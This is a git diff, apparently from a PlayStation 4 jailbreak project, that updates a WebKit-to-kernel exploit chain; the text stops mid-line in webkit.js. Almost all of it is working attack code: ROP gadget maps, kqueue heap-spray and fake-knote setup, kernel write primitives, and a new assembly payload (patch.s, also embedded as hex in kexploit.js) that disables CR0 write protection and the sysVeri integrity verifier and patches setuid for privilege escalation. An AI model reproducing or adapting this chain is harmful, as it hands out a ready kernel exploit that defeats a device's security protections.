diff --git a/README.md b/README.md index 9b08192..d05cc63 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ The following patches are applied to the kernel: 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. 6) (`sys_dynlib_load_prx`) patch -7) Disable delayed panics from sysVeri +7) Disables sysVeri ## Short how-to This exploit is unlike previous ones where they were based purely in software. Triggering the vulnerability requires plugging in a specially formatted USB device at just the right time. In the repository you'll find a .img file. You can write this .img to a USB using something like Win32DiskImager. diff --git a/exfathax_pico.img b/exfathax_pico.img new file mode 100644 index 0000000..a7f9eea Binary files /dev/null and b/exfathax_pico.img differ diff --git a/kexploit.js b/kexploit.js index 0c5d5e5..1b9af4d 100644 --- a/kexploit.js +++ b/kexploit.js @@ -66,7 +66,9 @@ var wk_gadgetmap = { "add rax, rcx": 0x2FBCD, "mov rsp, rdi": 0x2048062, "mov rdi, [rax + 8] ; call [rax]": 0x751EE7, - "infloop": 0x7DFF + "infloop": 0x7DFF, + + "mov [rax], cl": 0xC6EAF, }; var wkr_gadgetmap = { @@ -76,6 +78,7 @@ var wkr_gadgetmap = { var wk2_gadgetmap = { "mov [rax], rdi": 0xFFDD7, "mov [rax], rcx": 0x2C9ECA, + "mov [rax], cx": 0x15A7D52, }; var hmd_gadgetmap = { "add [r8], r12": 0x2BCE1 @@ -96,10 +99,6 @@ function userland() { p.array_from_address = array_from_address; p.readstr = readstr; - var textAreaAddr = p.leakval(textArea); - var textAreVtablePtrPtr = textAreaAddr.add32(0x18); - var textAreaVtPtr = p.read8(textAreVtablePtrPtr); - //pointer to vtable address var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); //address of vtable @@ -153,7 +152,8 @@ function userland() { var og_array_i = p.leakval(og_array).add32(0x10); p.write8(og_array_i, addr); - p.write4(og_array_i.add32(8), size); + p.write4(og_array_i.add32(0x8), size); + p.write4(og_array_i.add32(0xC), 0x1); nogc.push(og_array); return og_array; @@ -181,17 +181,6 @@ function userland() { return str; } - function array_from_address(addr, size) { - var og_array = new Uint32Array(0x1000); - var og_array_i = p.leakval(og_array).add32(0x10); - - p.write8(og_array_i, addr); - p.write4(og_array_i.add32(8), size); - - nogc.push(og_array); - return og_array; - } - var fakeVtable_setjmp = p.malloc32(0x200); var fakeVtable_longjmp = p.malloc32(0x200); var original_context = p.malloc32(0x40); @@ -255,6 +244,12 @@ function userland() { p.write8(kstr, orig_kview_buf); chain = new rop(); + + //Sanity check + if (chain.syscall(20).low == 0) { + alert("webkit exploit failed. Try again if your ps4 is on fw 9.00."); + while (1); + } } function run_hax() { @@ -265,8 +260,7 @@ function run_hax() { //p.write8(0x0, 0x0); //write to 0x0 -> kill browser. } - //tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though... - var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0); + var payload_buffer = chain.syscall(477, 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); var payload_loader = p.malloc32(0x1000); //NOTE: You can replace this with a payload instead of the loader. @@ -339,7 +333,14 @@ function run_hax() { chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); var pthread = p.malloc(0x10); - chain.call(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer); + // + { + chain.fcall(window.syscalls[203], payload_buffer, 0x300000); + chain.fcall(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer); + } + chain.run(); + + awaitpl(); } @@ -348,6 +349,7 @@ function kernel() { kchain_setup(); object_setup(); trigger_spray(); + patch_once(); } var handle; @@ -381,11 +383,13 @@ function load_prx(name) { //Obtain extra gadgets through module loading function extra_gadgets() { - handle = p.malloc(0x150); - var randomized_path_ptr = handle.add32(0x4); - ex_info = randomized_path_ptr.add32(0x30); + handle = p.malloc(0x1E8); + var randomized_path_length_ptr = handle.add32(0x4); + var randomized_path_ptr = handle.add32(0x14); + ex_info = randomized_path_ptr.add32(0x40); - chain.syscall(602, 0, randomized_path_ptr); + p.write8(randomized_path_length_ptr, 0x2C); + chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr); random_path = p.readstr(randomized_path_ptr); var ipmi_addr = load_prx("libSceIpmi.sprx"); @@ -404,11 +408,24 @@ function extra_gadgets() { for (var gadget in window.gadgets) { p.read8(window.gadgets[gadget]); + //Ensure all gadgets are available to kernel. + chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10); } + chain.run(); } //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. function kchain_setup() { + const KERNEL_busy = 0x1B28DF8; + + const KERNEL_bcopy = 0xACD; + const KERNEL_bzero = 0x2713FD; + const KERNEL_pagezero = 0x271441; + const KERNEL_memcpy = 0x2714BD; + const KERNEL_pagecopy = 0x271501; + const KERNEL_copyin = 0x2716AD; + const KERNEL_copyinstr = 0x271B5D; + const KERNEL_copystr = 0x271C2D; const KERNEL_setidt = 0x312c40; const KERNEL_setcr0 = 0x1FB949; const KERNEL_Xill = 0x17d500; @@ -421,14 +438,13 @@ function kchain_setup() { const KERNEL_prx = 0x23AEC4; const KERNEL_dlsym_1 = 0x23B67F; const KERNEL_dlsym_2 = 0x221b40; - - const KERNEL_setuid = 0x1A06; const KERNEL_syscall11_1 = 0x1100520; const KERNEL_syscall11_2 = 0x1100528; const KERNEL_syscall11_3 = 0x110054C; const KERNEL_syscall11_gadget = 0x4c7ad; - const KERNEL_mmap = 0x16632A; + const KERNEL_mmap_1 = 0x16632A; + const KERNEL_mmap_2 = 0x16632D; const KERNEL_setcr0_patch = 0x3ade3B; const KERNEL_kqueue_close_epi = 0x398991; @@ -441,6 +457,13 @@ function kchain_setup() { kchain = new rop(); kchain2 = new rop(); + //Ensure the krop stack remains available. + { + chain.fcall(window.syscalls[203], kchain.stackback, 0x40000); + chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000); + chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10); + } + chain.run(); kchain.count = 0; kchain2.count = 0; @@ -455,6 +478,9 @@ function kchain_setup() { kchain.push(KERNEL_BASE_PTR); kchain.push(gadgets["add [r8], r12"]); + //Sorry we're closed + kchain.kwrite1(KERNEL_busy, 0x1); + kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now. var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt); @@ -483,8 +509,23 @@ function kchain_setup() { kchain.finalizeSymbolic(idx1, idx1_dest); kchain.finalizeSymbolic(idx2, idx2_dest); - //Restore original UD + //Initial patch(es) + kchain2.kwrite2(KERNEL_veriPatch, 0x9090); + kchain2.kwrite1(KERNEL_bcopy, 0xEB); + //might as well do the others + kchain2.kwrite1(KERNEL_bzero, 0xEB); + kchain2.kwrite1(KERNEL_pagezero, 0xEB); + kchain2.kwrite1(KERNEL_memcpy, 0xEB); + kchain2.kwrite1(KERNEL_pagecopy, 0xEB); + kchain2.kwrite1(KERNEL_copyin, 0xEB); + kchain2.kwrite1(KERNEL_copyinstr, 0xEB); + kchain2.kwrite1(KERNEL_copystr, 0xEB); + + //I guess you're not all that bad... + kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again + + //Restore original UD var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill); var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt); kchain2.push(gadgets["pop rdi"]); @@ -505,22 +546,20 @@ function kchain_setup() { kchain2.finalizeSymbolic(idx4, idx4_dest); //Apply kernel patches - - kchain2.kwrite4(KERNEL_veriPatch, 0x83489090); - kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000); //patch in reverse because /shrug - kchain2.kwrite4(KERNEL_enable_syscalls_4, 0x04EB69EB); - kchain2.kwrite4(KERNEL_enable_syscalls_3, 0x3B489090); - kchain2.kwrite4(KERNEL_enable_syscalls_2, 0xC9859090); + kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB); + kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090); + kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090); - kchain2.kwrite4(KERNEL_setuid, 0x8B482AEB); + kchain2.kwrite1(KERNEL_setuid, 0xEB); kchain2.kwrite4(KERNEL_mprotect, 0x00000000); - kchain2.kwrite4(KERNEL_prx, 0x00C0E990); - kchain2.kwrite4(KERNEL_dlsym_1, 0x8B484CEB); + kchain2.kwrite2(KERNEL_prx, 0xE990); + kchain2.kwrite1(KERNEL_dlsym_1, 0xEB); kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148); - kchain2.kwrite4(KERNEL_mmap, 0x37B24137); + kchain2.kwrite1(KERNEL_mmap_1, 0x37); + kchain2.kwrite1(KERNEL_mmap_2, 0x37); kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002); kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget); @@ -535,7 +574,6 @@ function kchain_setup() { kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch kchain2.finalizeSymbolic(idx5, idx5_dest); - //Recover kchain2.rax_kernel(KERNEL_kqueue_close_epi); kchain2.push(gadgets["mov rdx, rax"]); @@ -558,7 +596,7 @@ function kchain_setup() { function object_setup() { //Map fake object - var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1012, 0xFFFFFFFF, 0x0); + var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0); var fake_filtops = fake_knote.add32(0x4000); var fake_obj = fake_knote.add32(0x8000); if (fake_knote.low != 0x4000) { @@ -582,6 +620,8 @@ function object_setup() { { p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax] } + //Ensure the fake knote remains available + chain.syscall(203, fake_knote, 0xC000); } var trigger_spray = function () { @@ -610,7 +650,9 @@ var trigger_spray = function () { p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); p.write4(kevent.add32(0xC), 0x0); p.write8(kevent.add32(0x10), 0x0); - p.write8(kevent.add32(0x18), 0x0); { + p.write8(kevent.add32(0x18), 0x0); + // + { for (var i = 0; i < NUM_KQUEUES; i++) { chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); } @@ -621,7 +663,7 @@ var trigger_spray = function () { //Fragment memory { - for (var i = 20; i < NUM_KQUEUES; i += 2) { + for (var i = 18; i < NUM_KQUEUES; i += 2) { chain.fcall(window.syscalls[6], kqueues[i]); } } @@ -636,7 +678,14 @@ var trigger_spray = function () { } } chain.run(); + if (chain.syscall(23, 0).low == 0) { + { + //cleanup fake knote & release locked gadgets/stack. + chain.fcall(window.syscalls[73], 0x4000, 0xC000); + chain.fcall(window.syscalls[325]); + } + chain.run(); return; } alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all. @@ -645,3 +694,254 @@ var trigger_spray = function () { p.write8(0, 0); return; } + +//This disables sysveri, see patch.s for more info +var patch_once = function () { + + var patch_buffer = chain.syscall(477, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0); + var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000); + + patch_buffer_view[0] = 0x00000BB8; + patch_buffer_view[1] = 0xFE894800; + patch_buffer_view[2] = 0x033D8D48; + patch_buffer_view[3] = 0x0F000000; + patch_buffer_view[4] = 0x4855C305; + patch_buffer_view[5] = 0x8B48E589; + patch_buffer_view[6] = 0x95E8087E; + patch_buffer_view[7] = 0xE8000000; + patch_buffer_view[8] = 0x00000175; + patch_buffer_view[9] = 0x033615FF; + patch_buffer_view[10] = 0x8B480000; + patch_buffer_view[11] = 0x0003373D; + patch_buffer_view[12] = 0x3F8B4800; + patch_buffer_view[13] = 0x74FF8548; + patch_buffer_view[14] = 0x3D8D48EB; + patch_buffer_view[15] = 0x0000029D; + patch_buffer_view[16] = 0xF9358B48; + patch_buffer_view[17] = 0x48000002; + patch_buffer_view[18] = 0x0322158B; + patch_buffer_view[19] = 0x8B480000; + patch_buffer_view[20] = 0x00D6E812; + patch_buffer_view[21] = 0x8D480000; + patch_buffer_view[22] = 0x00029F3D; + patch_buffer_view[23] = 0x358B4800; + patch_buffer_view[24] = 0x000002E4; + patch_buffer_view[25] = 0x05158B48; + patch_buffer_view[26] = 0x48000003; + patch_buffer_view[27] = 0xB9E8128B; + patch_buffer_view[28] = 0x48000000; + patch_buffer_view[29] = 0x02633D8D; + patch_buffer_view[30] = 0x8B480000; + patch_buffer_view[31] = 0x0002BF35; + patch_buffer_view[32] = 0x158B4800; + patch_buffer_view[33] = 0x000002C8; + patch_buffer_view[34] = 0xE8128B48; + patch_buffer_view[35] = 0x0000009C; + patch_buffer_view[36] = 0x7A3D8D48; + patch_buffer_view[37] = 0x48000002; + patch_buffer_view[38] = 0x02AA358B; + patch_buffer_view[39] = 0x8B480000; + patch_buffer_view[40] = 0x0002AB15; + patch_buffer_view[41] = 0x128B4800; + patch_buffer_view[42] = 0x00007FE8; + patch_buffer_view[43] = 0x0185E800; + patch_buffer_view[44] = 0xC35D0000; + patch_buffer_view[45] = 0x6D3D8948; + patch_buffer_view[46] = 0x48000002; + patch_buffer_view[47] = 0x026E3D01; + patch_buffer_view[48] = 0x01480000; + patch_buffer_view[49] = 0x00026F3D; + patch_buffer_view[50] = 0x3D014800; + patch_buffer_view[51] = 0x00000270; + patch_buffer_view[52] = 0x713D0148; + patch_buffer_view[53] = 0x48000002; + patch_buffer_view[54] = 0x02723D01; + patch_buffer_view[55] = 0x01480000; + patch_buffer_view[56] = 0x0002933D; + patch_buffer_view[57] = 0x3D014800; + patch_buffer_view[58] = 0x00000294; + patch_buffer_view[59] = 0x653D0148; + patch_buffer_view[60] = 0x48000002; + patch_buffer_view[61] = 0x02663D01; + patch_buffer_view[62] = 0x01480000; + patch_buffer_view[63] = 0x0002873D; + patch_buffer_view[64] = 0x3D014800; + patch_buffer_view[65] = 0x00000288; + patch_buffer_view[66] = 0x893D0148; + patch_buffer_view[67] = 0x48000002; + patch_buffer_view[68] = 0x028A3D01; + patch_buffer_view[69] = 0x01480000; + patch_buffer_view[70] = 0x00028B3D; + patch_buffer_view[71] = 0x3D014800; + patch_buffer_view[72] = 0x0000024C; + patch_buffer_view[73] = 0x3D3D0148; + patch_buffer_view[74] = 0xC3000002; + patch_buffer_view[75] = 0xE5894855; + patch_buffer_view[76] = 0x10EC8348; + patch_buffer_view[77] = 0x24348948; + patch_buffer_view[78] = 0x24548948; + patch_buffer_view[79] = 0xED15FF08; + patch_buffer_view[80] = 0x48000001; + patch_buffer_view[81] = 0x4B74C085; + patch_buffer_view[82] = 0x48C28948; + patch_buffer_view[83] = 0x4840408B; + patch_buffer_view[84] = 0x2F74C085; + patch_buffer_view[85] = 0x28788B48; + patch_buffer_view[86] = 0x243C3B48; + patch_buffer_view[87] = 0x8B480A74; + patch_buffer_view[88] = 0xC0854800; + patch_buffer_view[89] = 0xECEB1D74; + patch_buffer_view[90] = 0x18788B48; + patch_buffer_view[91] = 0x74FF8548; + patch_buffer_view[92] = 0x7F8B48ED; + patch_buffer_view[93] = 0x7C3B4810; + patch_buffer_view[94] = 0xE2750824; + patch_buffer_view[95] = 0xFF1040C7; + patch_buffer_view[96] = 0x48FFFFFF; + patch_buffer_view[97] = 0x31107A8D; + patch_buffer_view[98] = 0x31D231F6; + patch_buffer_view[99] = 0xA515FFC9; + patch_buffer_view[100] = 0x48000001; + patch_buffer_view[101] = 0x5D10C483; + patch_buffer_view[102] = 0x894855C3; + patch_buffer_view[103] = 0xC0200FE5; + patch_buffer_view[104] = 0xFFFF2548; + patch_buffer_view[105] = 0x220FFFFE; + patch_buffer_view[106] = 0x3D8B48C0; + patch_buffer_view[107] = 0x000001C8; + patch_buffer_view[108] = 0x909007C7; + patch_buffer_view[109] = 0x47C79090; + patch_buffer_view[110] = 0x48909004; + patch_buffer_view[111] = 0x358B48B8; + patch_buffer_view[112] = 0x000001AC; + patch_buffer_view[113] = 0x08778948; + patch_buffer_view[114] = 0x651047C7; + patch_buffer_view[115] = 0xC73C8B48; + patch_buffer_view[116] = 0x00251447; + patch_buffer_view[117] = 0x47C70000; + patch_buffer_view[118] = 0x89480018; + patch_buffer_view[119] = 0x1C47C738; + patch_buffer_view[120] = 0xB8489090; + patch_buffer_view[121] = 0x7D358B48; + patch_buffer_view[122] = 0x48000001; + patch_buffer_view[123] = 0xC7207789; + patch_buffer_view[124] = 0xC7482847; + patch_buffer_view[125] = 0x47C70100; + patch_buffer_view[126] = 0x0000002C; + patch_buffer_view[127] = 0x778D48E9; + patch_buffer_view[128] = 0x158B4834; + patch_buffer_view[129] = 0x00000150; + patch_buffer_view[130] = 0x89F22948; + patch_buffer_view[131] = 0x8B483057; + patch_buffer_view[132] = 0x00016B35; + patch_buffer_view[133] = 0x568D4800; + patch_buffer_view[134] = 0xD7294805; + patch_buffer_view[135] = 0xC148FF89; + patch_buffer_view[136] = 0x814808E7; + patch_buffer_view[137] = 0x0000E9CF; + patch_buffer_view[138] = 0x3E894800; + patch_buffer_view[139] = 0x00000D48; + patch_buffer_view[140] = 0x220F0001; + patch_buffer_view[141] = 0x55C35DC0; + patch_buffer_view[142] = 0x0FE58948; + patch_buffer_view[143] = 0x2548C020; + patch_buffer_view[144] = 0xFFFEFFFF; + patch_buffer_view[145] = 0x48C0220F; + patch_buffer_view[146] = 0x013A3D8B; + patch_buffer_view[147] = 0x07C70000; + patch_buffer_view[148] = 0x00C3C031; + patch_buffer_view[149] = 0x353D8B48; + patch_buffer_view[150] = 0xC7000001; + patch_buffer_view[151] = 0xC3C03107; + patch_buffer_view[152] = 0x3D8B4800; + patch_buffer_view[153] = 0x00000130; + patch_buffer_view[154] = 0xC03107C7; + patch_buffer_view[155] = 0x8B4800C3; + patch_buffer_view[156] = 0x00012B3D; + patch_buffer_view[157] = 0x3107C700; + patch_buffer_view[158] = 0x4800C3C0; + patch_buffer_view[159] = 0x00A63D8B; + patch_buffer_view[160] = 0x87C70000; + patch_buffer_view[161] = 0x001F1E01; + patch_buffer_view[162] = 0x9090F631; + patch_buffer_view[163] = 0x1E0587C7; + patch_buffer_view[164] = 0xC931001F; + patch_buffer_view[165] = 0x87C79090; + patch_buffer_view[166] = 0x001F1E09; + patch_buffer_view[167] = 0x9090D231; + patch_buffer_view[168] = 0x1E3E87C7; + patch_buffer_view[169] = 0xC931001F; + patch_buffer_view[170] = 0x0D489090; + patch_buffer_view[171] = 0x00010000; + patch_buffer_view[172] = 0xFFC0220F; + patch_buffer_view[173] = 0x0000EF15; + patch_buffer_view[174] = 0xC0200F00; + patch_buffer_view[175] = 0xFFFF2548; + patch_buffer_view[176] = 0x220FFFFE; + patch_buffer_view[177] = 0x3D8B48C0; + patch_buffer_view[178] = 0x000000DC; + patch_buffer_view[179] = 0xC03107C7; + patch_buffer_view[180] = 0x0D4800C3; + patch_buffer_view[181] = 0x00010000; + patch_buffer_view[182] = 0x5DC0220F; + patch_buffer_view[183] = 0x737973C3; + patch_buffer_view[184] = 0x5F6D6574; + patch_buffer_view[185] = 0x70737573; + patch_buffer_view[186] = 0x5F646E65; + patch_buffer_view[187] = 0x73616870; + patch_buffer_view[188] = 0x705F3265; + patch_buffer_view[189] = 0x735F6572; + patch_buffer_view[190] = 0x00636E79; + patch_buffer_view[191] = 0x74737973; + patch_buffer_view[192] = 0x725F6D65; + patch_buffer_view[193] = 0x6D757365; + patch_buffer_view[194] = 0x68705F65; + patch_buffer_view[195] = 0x32657361; + patch_buffer_view[196] = 0x73797300; + patch_buffer_view[197] = 0x5F6D6574; + patch_buffer_view[198] = 0x75736572; + patch_buffer_view[199] = 0x705F656D; + patch_buffer_view[200] = 0x65736168; + patch_buffer_view[201] = 0x90900033; + patch_buffer_view[202] = 0x00000000; + patch_buffer_view[203] = 0x00000000; + patch_buffer_view[204] = 0x000F88F0; + patch_buffer_view[205] = 0x00000000; + patch_buffer_view[206] = 0x002EF170; + patch_buffer_view[207] = 0x00000000; + patch_buffer_view[208] = 0x00018DF0; + patch_buffer_view[209] = 0x00000000; + patch_buffer_view[210] = 0x00018EF0; + patch_buffer_view[211] = 0x00000000; + patch_buffer_view[212] = 0x02654110; + patch_buffer_view[213] = 0x00000000; + patch_buffer_view[214] = 0x00097230; + patch_buffer_view[215] = 0x00000000; + patch_buffer_view[216] = 0x00402E60; + patch_buffer_view[217] = 0x00000000; + patch_buffer_view[218] = 0x01520108; + patch_buffer_view[219] = 0x00000000; + patch_buffer_view[220] = 0x01520100; + patch_buffer_view[221] = 0x00000000; + patch_buffer_view[222] = 0x00462D20; + patch_buffer_view[223] = 0x00000000; + patch_buffer_view[224] = 0x00462DFC; + patch_buffer_view[225] = 0x00000000; + patch_buffer_view[226] = 0x006259A0; + patch_buffer_view[227] = 0x00000000; + patch_buffer_view[228] = 0x006268D0; + patch_buffer_view[229] = 0x00000000; + patch_buffer_view[230] = 0x00625DC0; + patch_buffer_view[231] = 0x00000000; + patch_buffer_view[232] = 0x00626290; + patch_buffer_view[233] = 0x00000000; + patch_buffer_view[234] = 0x00626720; + patch_buffer_view[235] = 0x00000000; + //lock payload / call payload / release payload + { + chain.fcall(window.syscalls[203], patch_buffer, 0x4000); + chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR)); + chain.fcall(window.syscalls[73], patch_buffer, 0x4000); + } + chain.run(); +} \ No newline at end of file diff --git a/patch.s b/patch.s new file mode 100644 index 0000000..478657d --- /dev/null +++ b/patch.s @@ -0,0 +1,274 @@ +BITS 64 +DEFAULT REL + +; Kill sysveri, kill its family, kill its friends, kill it all! +; asm by me. + +;(void* kernelbase) +userland: + mov eax, 0xB + mov rsi, rdi + lea rdi, [kernel] + syscall + ret + +; (struct thread*, void* uap) +; *(uap + 0x8) == kernelbase +kernel: + push rbp + mov rbp, rsp + + mov rdi, qword [rsi + 0x8] + ;call get_kernel_base + ;mov rdi, rax + call init_globals + call write_swd_patch + +_swd_loop: + call [ksched_yield] + mov rdi, qword [swd_flag] + mov rdi, [rdi] + test rdi, rdi + jz _swd_loop + + lea rdi, [event1] + mov rsi, qword [ktdsuspend_global_eventhandler_iterator_func] + mov rdx, qword [swd_thread] + mov rdx, qword [rdx] + call remove_suspend_resume_event + + lea rdi, [event2] + mov rsi, qword [ktdresume_global_eventhandler_iterator_func] + mov rdx, qword [swd_thread] + mov rdx, qword [rdx] + call remove_suspend_resume_event + + lea rdi, [event1] + mov rsi, qword [ktdsuspend_global_eventhandler_iterator_func] + mov rdx, qword [SceSblSysVeriThrGlobal] + mov rdx, qword [rdx] + call remove_suspend_resume_event + + lea rdi, [event3] + mov rsi, qword [ktdresume_global_eventhandler_iterator_func] + mov rdx, qword [SceSblSysVeriThrGlobal] + mov rdx, qword [rdx] + call remove_suspend_resume_event + + call write_veri_patch + + pop rbp + ret + +; (void* kernelbase) +init_globals: + mov qword [kernelbase], rdi + add qword [eventhandler_find_list], rdi + add qword [_mtx_unlock_flags], rdi + add qword [ktdsuspend_global_eventhandler_iterator_func], rdi + add qword [ktdresume_global_eventhandler_iterator_func], rdi + add qword [SceSblSysVeriThrGlobal], rdi + add qword [swd_patch_1], rdi + add qword [swd_patch_2], rdi + add qword [kthread_exit], rdi + add qword [ksched_yield], rdi + add qword [veri_pfs_patch], rdi + add qword [veri_sbl_patch], rdi + add qword [veri_loadable_patch], rdi + add qword [veri_init_patch], rdi + add qword [veri_shutdown], rdi + add qword [swd_thread], rdi + add qword [swd_flag], rdi + ret + +; (const char* name, void* handler, void* thread) +remove_suspend_resume_event: + push rbp + mov rbp, rsp + sub rsp, 0x10 + mov qword [rsp + 0x0], rsi + mov qword [rsp + 0x8], rdx + + call [eventhandler_find_list] + test rax, rax + jz _remove_suspend_resume_event_end + mov rdx, rax + mov rax, qword [rax + 0x40] + test rax, rax + jz _remove_suspend_resume_event_cleanup + +_remove_suspend_resume_event_loop_start: + mov rdi, qword [rax + 0x28] + cmp rdi, qword [rsp] + jz _remove_suspend_resume_event_loop_check + +_remove_suspend_resume_event_loop_next: + mov rax, qword [rax] + test rax, rax + jz _remove_suspend_resume_event_cleanup + jmp _remove_suspend_resume_event_loop_start + +_remove_suspend_resume_event_loop_check: + mov rdi, qword [rax + 0x18] + test rdi, rdi + jz _remove_suspend_resume_event_loop_next + mov rdi, qword [rdi + 0x10] + cmp rdi, qword [rsp + 0x8] + jnz _remove_suspend_resume_event_loop_next + +_remove_suspend_resume_event_loop_found: + mov dword [rax + 0x10], 0xFFFFFFFF + +_remove_suspend_resume_event_cleanup: + lea rdi, [rdx + 0x10] + xor esi, esi + xor edx, edx + xor ecx, ecx + call [_mtx_unlock_flags] + +_remove_suspend_resume_event_end: + add rsp, 0x10 + pop rbp + ret + + +; patch1 +; nop +; nop +; nop +; nop +; nop +; nop +; movabs rax, swd_thread +; mov rdi, qword ptr gs:[0x0] +; mov qword ptr [rax], rdi +; nop +; nop +; movabs rax, swd_flag +; mov qword ptr [rax], 0x1 +; jmp kthread_exit + +; patch2 +; jmp patch1 + +; (void) +write_swd_patch: + push rbp + mov rbp, rsp + mov rax, cr0 + and rax, 0xFFFFFFFFFFFEFFFF + mov cr0, rax + + mov rdi, qword [swd_patch_1] + mov dword [rdi], 0x90909090 + mov dword [rdi + 0x4], 0xB8489090 + mov rsi, qword [swd_thread] + mov qword [rdi + 0x8], rsi + mov dword [rdi + 0x10], 0x3C8B4865 + mov dword [rdi + 0x14], 0x00000025 + mov dword [rdi + 0x18], 0x38894800 + mov dword [rdi + 0x1C], 0xB8489090 + mov rsi, qword [swd_flag] + mov qword [rdi + 0x20], rsi + mov dword [rdi + 0x28], 0x0100C748 + mov dword [rdi + 0x2C], 0xE9000000 + + lea rsi, [rdi + 0x34] + mov rdx, qword [kthread_exit] + sub rdx, rsi + mov dword [rdi + 0x30], edx + + mov rsi, qword [swd_patch_2] + lea rdx, [rsi + 0x5] + sub rdi, rdx + mov edi, edi + shl rdi, 0x8 + or rdi, 0xE9 + mov qword [rsi], rdi + + or rax, 0x10000 + mov cr0, rax + pop rbp + ret + +; (void) +write_veri_patch: + push rbp + mov rbp, rsp + mov rax, cr0 + and rax, 0xFFFFFFFFFFFEFFFF + mov cr0, rax + + mov rdi, qword [veri_pfs_patch] + mov dword [rdi], 0x00C3C031; + mov rdi, qword [veri_sbl_patch] + mov dword [rdi], 0x00C3C031; + mov rdi, qword [veri_loadable_patch] + mov dword [rdi], 0x00C3C031; + mov rdi, qword [veri_init_patch] + mov dword [rdi], 0x00C3C031; + + mov rdi, qword [kernelbase] + mov dword [rdi + 0x1F1E01], 0x9090F631 + mov dword [rdi + 0x1F1E05], 0x9090C931 + mov dword [rdi + 0x1F1E09], 0x9090D231 + mov dword [rdi + 0x1F1E3E], 0x9090C931 + + or rax, 0x10000 + mov cr0, rax + + call [veri_shutdown] + + mov rax, cr0 + and rax, 0xFFFFFFFFFFFEFFFF + mov cr0, rax + + mov rdi, qword [veri_shutdown] + mov dword [rdi], 0x00C3C031; + + or rax, 0x10000 + mov cr0, rax + + pop rbp + ret + +;get_kernel_base: +; mov ecx, 0xC0000082 +; rdmsr +; shl rdx, 0x20 +; or rax, rdx +; sub rax, 0x1C0 +; ret +; +;infloop: +; jmp infloop + +; DATA +event1: db 'system_suspend_phase2_pre_sync', 0 +event2: db 'system_resume_phase2', 0 +event3: db 'system_resume_phase3', 0 + +align 8 + +kernelbase: dq 0 +eventhandler_find_list: dq 0xF88F0 +_mtx_unlock_flags: dq 0x2EF170 +ktdsuspend_global_eventhandler_iterator_func: dq 0x18DF0 +ktdresume_global_eventhandler_iterator_func: dq 0x18EF0 +SceSblSysVeriThrGlobal: dq 0x2654110 +kthread_exit: dq 0x97230 +ksched_yield: dq 0x402E60 + +swd_flag: dq 0x1520108 +swd_thread: dq 0x1520100 + +swd_patch_1: dq 0x462D20 +swd_patch_2: dq 0x462DFC + +veri_pfs_patch: dq 0x6259a0 +veri_sbl_patch: dq 0x6268d0 +veri_loadable_patch: dq 0x625dc0 +veri_init_patch: dq 0x626290 +veri_shutdown: dq 0x626720 + +align 4 \ No newline at end of file diff --git a/rop.js b/rop.js index 995afce..2180b25 100644 --- a/rop.js +++ b/rop.js @@ -1,5 +1,5 @@ const stack_sz = 0x40000; -const reserve_upper_stack = 0x8000; +const reserve_upper_stack = 0x10000; const stack_reserved_idx = reserve_upper_stack / 4; @@ -80,6 +80,10 @@ window.rop = function () { this.push(r9); } + if (this.stack.add32(this.count * 0x8).low & 0x8) { + this.push(gadgets["ret"]); + } + this.push(rip); return this; } @@ -148,6 +152,7 @@ window.rop = function () { this.push(qword); this.push(gadgets["mov [rax], rsi"]); } + this.kwrite4 = function (offset, dword) { this.rax_kernel(offset); this.push(gadgets["pop rdx"]); @@ -155,6 +160,20 @@ window.rop = function () { this.push(gadgets["mov [rax], edx"]); } + this.kwrite2 = function (offset, word) { + this.rax_kernel(offset); + this.push(gadgets["pop rcx"]); + this.push(word); + this.push(gadgets["mov [rax], cx"]); + } + + this.kwrite1 = function (offset, byte) { + this.rax_kernel(offset); + this.push(gadgets["pop rcx"]); + this.push(byte); + this.push(gadgets["mov [rax], cl"]); + } + this.kwrite8_kaddr = function (offset1, offset2) { this.rax_kernel(offset2); this.push(gadgets["mov rdx, rax"]); diff --git a/webkit.js b/webkit.js index 2808966..35caca4 100644 --- a/webkit.js +++ b/webkit.js @@ -385,9 +385,12 @@ function poc() { var expl_slave = new Uint32Array(2); var 